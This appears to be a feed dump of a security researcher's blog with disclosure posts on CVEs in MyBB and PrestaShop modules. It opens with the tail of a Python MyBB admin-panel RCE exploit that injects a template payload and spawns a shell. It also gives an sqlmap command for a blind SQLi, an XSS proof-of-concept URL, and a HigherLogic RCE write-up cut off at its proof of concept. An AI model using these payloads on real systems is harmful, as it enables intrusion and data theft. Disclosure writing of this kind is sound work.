&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;[0][0][0][0][0]&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; existing_template:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;warning(&lt;span style="color:#e6db74"&gt;&amp;#39;Template already contains our payload code? Skipping to sending commands...&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; page &lt;span style="color:#f92672"&gt;=&lt;/span&gt; session&lt;span style="color:#f92672"&gt;.&lt;/span&gt;post(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;target&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;admincp_path&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/index.php?module=style-templates&amp;amp;action=edit_template&amp;#34;&lt;/span&gt;,data&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#e6db74"&gt;&amp;#39;my_post_key&amp;#39;&lt;/span&gt;:postkey, &lt;span style="color:#e6db74"&gt;&amp;#39;tid&amp;#39;&lt;/span&gt;:tid,&lt;span style="color:#e6db74"&gt;&amp;#39;title&amp;#39;&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;&amp;#39;online&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;sid&amp;#39;&lt;/span&gt;:&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;template&amp;#39;&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;payload&lt;span style="color:#e6db74"&gt;}{&lt;/span&gt;existing_template&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#34;continue&amp;#34;&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;&amp;#34;Save and Continue Editing&amp;#34;&lt;/span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;The selected template has successfully been saved.&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; page&lt;span style="color:#f92672"&gt;.&lt;/span&gt;text:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;info(&lt;span style="color:#e6db74"&gt;&amp;#34;Template saved!&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;error(&lt;span style="color:#e6db74"&gt;&amp;#34;Template failed to save&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; shell()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id="conclusion" &gt;Conclusion
&lt;/h1&gt;&lt;p&gt;In conclusion, this vulnerability in MyBB&amp;rsquo;s admin panel highlights the importance of rigorously checking the return values of PHP&amp;rsquo;s PCRE functions, &lt;a href="https://github.com/mybb/mybb/commit/a43a6f22944e769a6eabc58c39e7bc18c1cab4ca.patch"&gt;as MyBB did in their patch&lt;/a&gt;, because the functions will return False on failure (which is different to the return value 0 when they don&amp;rsquo;t match).
PHP also provides the &lt;a href="https://www.php.net/manual/en/function.preg-last-error-msg.php"&gt;preg_last_error_msg()&lt;/a&gt; and &lt;a href="https://www.php.net/manual/en/function.preg-last-error.php"&gt;preg_last_error()&lt;/a&gt; functions which may be useful.&lt;/p&gt;
&lt;p&gt;For web application security testers, we hope this post serves as a valuable resource for understanding and identifying similar issues. If you find any please let me know about it by email or on Fedi/Twitter.&lt;/p&gt;
&lt;h1 id="timeline" &gt;Timeline
&lt;/h1&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;12/08/2023&lt;/td&gt;
&lt;td&gt;Reported bug to &lt;a href="https://www.zerodayinitiative.com/"&gt;ZDI&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;24/08/2023&lt;/td&gt;
&lt;td&gt;ZDI Rejected the bug on the grounds that a high level of admin access is required&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;25/08/2023&lt;/td&gt;
&lt;td&gt;Reported issue to MyBB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;28/08/2023&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/mybb/mybb/security/advisories/GHSA-pr74-wvp3-q6f5"&gt;Patch and advisory released&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;30/08/2023&lt;/td&gt;
&lt;td&gt;Number &lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-41362"&gt;CVE-2023-41362&lt;/a&gt; assigned&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11/09/2023&lt;/td&gt;
&lt;td&gt;Blog post and &lt;a href="https://github.com/SorceryIE/CVE-2023-41362_MyBB_ACP_RCE"&gt;exploit&lt;/a&gt; released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>PHPInfo Exposure in MyPrestaModules Modules CVE-2023-39677</title><link>/posts/myprestamodules_phpinfo/</link><pubDate>Fri, 08 Sep 2023 00:00:00 +0000</pubDate><guid>/posts/myprestamodules_phpinfo/</guid><description>&lt;p&gt;Two modules that we tested by &lt;a href="https://myprestamodules.com"&gt;MyPrestaModules&lt;/a&gt; have a vulnerability where PHPInfo is exposed to an unauthenticated attacker.
The modules SimpleImportProduct and UpdateProducts contain a file called send.php that has the following code snippet:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;    &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; ( &lt;span style="color:#a6e22e"&gt;Tools&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getValue&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;phpinfo&amp;#39;&lt;/span&gt;) ){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;      &lt;span style="color:#a6e22e"&gt;phpinfo&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;      &lt;span style="color:#66d9ef"&gt;die&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This exposes PHPInfo information which is useful to an attacker and it requires no authentication to exploit.
This was reported to MyPrestaModules and a patch was released.&lt;/p&gt;
&lt;h1 id="timeline" &gt;Timeline
&lt;/h1&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;10/07/2023&lt;/td&gt;
&lt;td&gt;Issue discovered during a pentest&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12/07/2023&lt;/td&gt;
&lt;td&gt;Reported issue to MyPrestaModules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29/07/2023&lt;/td&gt;
&lt;td&gt;Requested CVE from MITRE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;??/08/2023&lt;/td&gt;
&lt;td&gt;Patch released&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;28/08/2023&lt;/td&gt;
&lt;td&gt;Number &lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39677"&gt;CVE-2023-39677&lt;/a&gt; assigned&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;07/09/2023&lt;/td&gt;
&lt;td&gt;Blog post and &lt;a href="https://github.com/projectdiscovery/nuclei-templates/pull/8178"&gt;nuclei template&lt;/a&gt; released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>SQLi in SimpleImportProduct Prestashop Module CVE-2023-39675</title><link>/posts/simpleimportproduct_sqli/</link><pubDate>Fri, 08 Sep 2023 00:00:00 +0000</pubDate><guid>/posts/simpleimportproduct_sqli/</guid><description>&lt;p&gt;This blog post details an SQL Injection we found within SimpleImportProduct, a Prestashop module developed by &lt;a href="https://myprestamodules.com"&gt;MyPrestaModules&lt;/a&gt;.
In &lt;code&gt;modules/simpleimportproduct/send.php&lt;/code&gt; there is the following code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; ( &lt;span style="color:#a6e22e"&gt;Tools&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getValue&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;remove&amp;#39;&lt;/span&gt;) &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;    $key &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Tools&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getValue&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;key&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;    $key &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;pSQL&lt;/span&gt;($key);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;    &lt;span style="color:#a6e22e"&gt;Db&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getInstance&lt;/span&gt;()&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;delete&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;simpleimport_tasks&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;import_settings=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$key&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is vulnerable to SQL injection which allows an attacker to extract data from the database.&lt;br&gt;
The &lt;code&gt;key&lt;/code&gt; parameter does get sanitized by &lt;code&gt;pSQL()&lt;/code&gt; but when it&amp;rsquo;s put in the query it&amp;rsquo;s not surrounded by quotes so an attacker can still manipulate the query. This is a similar situation to an &lt;a href="https://blog.sorcery.ie/posts/smartblog_sqli/"&gt;SQLi I found in a different Prestashop module&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Adding quotes around the key would be sufficient to patch this SQLi:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Db&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getInstance&lt;/span&gt;()&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;delete&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;simpleimport_tasks&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;import_settings=&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$key&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id="proof-of-concept" &gt;Proof of Concept
&lt;/h1&gt;&lt;p&gt;To test this we used SQLmap on a local Prestashop install.
Care should be taken when testing for this as it is within a DELETE SQL query and can result in records getting deleted.
SQLMap command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sqlmap -u &lt;span style="color:#e6db74"&gt;&amp;#34;http://localhost:8080/modules/simpleimportproduct/send.php?ajax=true&amp;amp;remove=true&amp;amp;key=1*&amp;#34;&lt;/span&gt; --threads&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; --random-agent --dbms&lt;span style="color:#f92672"&gt;=&lt;/span&gt;mysql --level&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; --risk&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; --tables
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It&amp;rsquo;s a &amp;ldquo;blind&amp;rdquo; SQLi as it doesnt affect the contents of the page so information is extracted using SLEEP() to change the time it takes to respond.&lt;/p&gt;
&lt;h1 id="timeline" &gt;Timeline
&lt;/h1&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;10/07/2023&lt;/td&gt;
&lt;td&gt;Issue discovered during a pentest&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12/07/2023&lt;/td&gt;
&lt;td&gt;Reported issue to MyPrestaModules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29/07/2023&lt;/td&gt;
&lt;td&gt;Requested CVE from MITRE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;??/08/2023&lt;/td&gt;
&lt;td&gt;Patch released&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;28/08/2023&lt;/td&gt;
&lt;td&gt;Number &lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39675"&gt;CVE-2023-39675&lt;/a&gt; assigned&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;07/09/2023&lt;/td&gt;
&lt;td&gt;Blog post released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>XSS in FieldPopupNewsletter Prestashop Module CVE-2023-39676</title><link>/posts/fieldpopupnewsletter_xss/</link><pubDate>Thu, 07 Sep 2023 00:00:00 +0000</pubDate><guid>/posts/fieldpopupnewsletter_xss/</guid><description>&lt;p&gt;This blog post details an XSS we found within the FieldPopupNewsletter module, developed by &lt;a href="https://themeforest.net/user/fieldthemes"&gt;FieldThemes&lt;/a&gt;, for the popular ecommerce platform Prestashop.&lt;/p&gt;
&lt;p&gt;The module contains a file called ajax.php with the following code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ppp &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;FieldPopupNewsletter&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; $ppp&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;newsletterRegistration&lt;/span&gt;($_POST[&lt;span style="color:#e6db74"&gt;&amp;#39;email&amp;#39;&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The newsletterRegistration function, called by the ajax.php file, contains code that lacks proper input validation:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;newsletterRegistration&lt;/span&gt;($email) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;empty&lt;/span&gt;($email) &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Validate&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;isEmail&lt;/span&gt;($email)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; $_GET[&lt;span style="color:#e6db74"&gt;&amp;#39;callback&amp;#39;&lt;/span&gt;] &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;(&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;json_encode&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;array&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;p class=&amp;#34;alert alert-danger&amp;#34;&amp;gt;&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; $this&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;l&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;Invalid email address.&amp;#39;&lt;/span&gt;) &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;/p&amp;gt;&amp;#39;&lt;/span&gt;)) &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;)&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The callback GET parameter is printed to the page without sanitization which makes it susceptibvle to XSS. One might think the fact a POST parameter is used might mitigate this vulnerability but closer reading reveals this works when &lt;code&gt;$_POST['email']&lt;/code&gt; isn&amp;rsquo;t set.&lt;/p&gt;
&lt;h1 id="proof-of-concept" &gt;Proof of Concept
&lt;/h1&gt;&lt;p&gt;As a demonstration of the vulnerability, an attacker can craft a malicious URL, like the one shown below, to execute arbitrary JavaScript code on the target user&amp;rsquo;s browser:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://localhost/modules/fieldpopupnewsletter/ajax.php?callback=%3Cscript%3Ealert(0)%3C/script%3E
&lt;/code&gt;&lt;/pre&gt;&lt;h1 id="conclusion" &gt;Conclusion
&lt;/h1&gt;&lt;p&gt;XSS vulnerabilities are serious security risks that can lead to unauthorized access, data theft, and other malicious activities. In the case of the FieldPopupNewsletter module, a lack of input validation exposes users to potential attacks.&lt;/p&gt;
&lt;p&gt;We strongly advise users of this module to update to the latest patched version, which should address the XSS vulnerability.&lt;/p&gt;
&lt;h1 id="timeline" &gt;Timeline
&lt;/h1&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;10/07/2023&lt;/td&gt;
&lt;td&gt;Issue discovered during a pentest&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12/07/2023&lt;/td&gt;
&lt;td&gt;Reported issue to FieldThemes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29/07/2023&lt;/td&gt;
&lt;td&gt;Requested CVE from MITRE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;28/08/2023&lt;/td&gt;
&lt;td&gt;Number &lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39676"&gt;CVE-2023-39676&lt;/a&gt; assigned&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;31/08/2023&lt;/td&gt;
&lt;td&gt;Patch released&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;07/09/2023&lt;/td&gt;
&lt;td&gt;Blog post and &lt;a href="https://github.com/projectdiscovery/nuclei-templates/pull/8173"&gt;nuclei template&lt;/a&gt; released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>SQLi in XIPBlog Prestashop Module CVE-2023-27847</title><link>/posts/xipblog_sqli/</link><pubDate>Thu, 03 Aug 2023 00:00:00 +0000</pubDate><guid>/posts/xipblog_sqli/</guid><description>&lt;p&gt;This is a belated stub post about SQLi vulnerabilities I found in XIPBlog (a Prestashop modules developed by Xpert-Idea) back in 2021.&lt;/p&gt;
&lt;p&gt;The technical details are available on the advisory &lt;a href="https://security.friendsofpresta.org/modules/2023/03/23/xipblog.html"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="timeline" &gt;Timeline
&lt;/h1&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22/06/2021&lt;/td&gt;
&lt;td&gt;Issue discovered during a pentest&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;26/06/2021&lt;/td&gt;
&lt;td&gt;Submitted &lt;a href="https://github.com/xpert-idea/xipblog/pull/30"&gt;pull request on their Github repo&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09/02/2022&lt;/td&gt;
&lt;td&gt;Pull request accepted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;02/12/2022&lt;/td&gt;
&lt;td&gt;&lt;a href="202-ecommerce.com"&gt;202-ecommerce&lt;/a&gt; find the same vulnerability independently&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15/02/2023&lt;/td&gt;
&lt;td&gt;&lt;a href="202-ecommerce.com"&gt;202-ecommerce&lt;/a&gt; contact me offering to handle applying for CVE for this bug as I hadn&amp;rsquo;t done so&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15/02/2023&lt;/td&gt;
&lt;td&gt;Number &lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27847"&gt;CVE-2022-31101&lt;/a&gt; assigned&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23/03/2023&lt;/td&gt;
&lt;td&gt;Vulnerability disclosed in &lt;a href="https://friends-of-presta.github.io/security-advisories/modules/2023/03/23/xipblog.html"&gt;Friends of Presta advisory&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;03/08/2023&lt;/td&gt;
&lt;td&gt;Blog post released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>HigherLogic Community RCE Vulnerability</title><link>/posts/higherlogic_rce/</link><pubDate>Thu, 03 Feb 2022 00:00:00 +0000</pubDate><guid>/posts/higherlogic_rce/</guid><description>&lt;p&gt;We initially became interested in the &lt;code&gt;__VSTATE&lt;/code&gt; parameter after reading &lt;a href="https://spipm.graa.nl/2010.html"&gt;this article by graanl&lt;/a&gt; which we saw after reading &lt;a href="https://therecord.media/praying-mantis-apt-targets-iis-servers-with-asp-net-exploits/"&gt;this article from The Record&lt;/a&gt; about an APT group exploiting how it works.&lt;/p&gt;
&lt;h3 id="what-is-a-viewstate" &gt;What is a ViewState?
&lt;/h3&gt;&lt;p&gt;A ViewState is a parameter that contains information about the state of a users session, eg. are they logged in, who are they logged in as, what settings have they changed. In .NET this is in the form of a serialized .NET object in the &lt;code&gt;__VIEWSTATE&lt;/code&gt; parameter. So on every request to the webserver the user sends back this viewstate that the website gave them and this is how the server manages the users session. The security implications for this are quite clear for anyone who&amp;rsquo;s heard of deserialization before, it can lead to code execution!&lt;/p&gt;
&lt;h3 id="what-is-__vstate-then" &gt;What is &lt;code&gt;__VSTATE&lt;/code&gt; then?
&lt;/h3&gt;&lt;p&gt;In the late 2000&amp;rsquo;s people running .NET websites had a problem - they had these huge ViewStates in their webpages.
So to solve this issue with large viewstates some developers came up with a hacky solution - let&amp;rsquo;s compress it! In order to achieve this they added code that would store the users viewstate in &lt;code&gt;__VSTATE&lt;/code&gt; instead of the default &lt;code&gt;__VIEWSTATE&lt;/code&gt; and it would be compressed, usually with gzip.&lt;/p&gt;
&lt;p&gt;Some years later people realized the problems with &lt;code&gt;__VIEWSTATE&lt;/code&gt; being vulnerable to Remote Code Execution (RCE) so changes were made to how it worked and they added settings to make it encrypted with a key so that users couldn&amp;rsquo;t tamper with it (&lt;a href="https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/"&gt;it isn&amp;rsquo;t perfect as detailed in Soroush&amp;rsquo;s blog posts&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The problem is that applications using the &lt;code&gt;__VSTATE&lt;/code&gt; trick never got these updates as developers would have to manually implement these changes themselves if they were to have them.
There is also many websites and StackOverflow answers telling people to use this insecure technique on their .NET webapps which is keeping this issue alive.&lt;/p&gt;
&lt;h3 id="searching-for-instances-of-vstate" &gt;Searching for instances of VSTATE
&lt;/h3&gt;&lt;p&gt;Now that we had something interesting to look for we went to &lt;a href="https://publicwww.com/"&gt;publicwww.com&lt;/a&gt; and searched for &lt;code&gt;__VSTATE&lt;/code&gt;. On there we noticed a lot of sites using HigherLogic Community and so we tested the issue.&lt;/p&gt;
&lt;h3 id="proof-of-concept" &gt;Proof of Concept
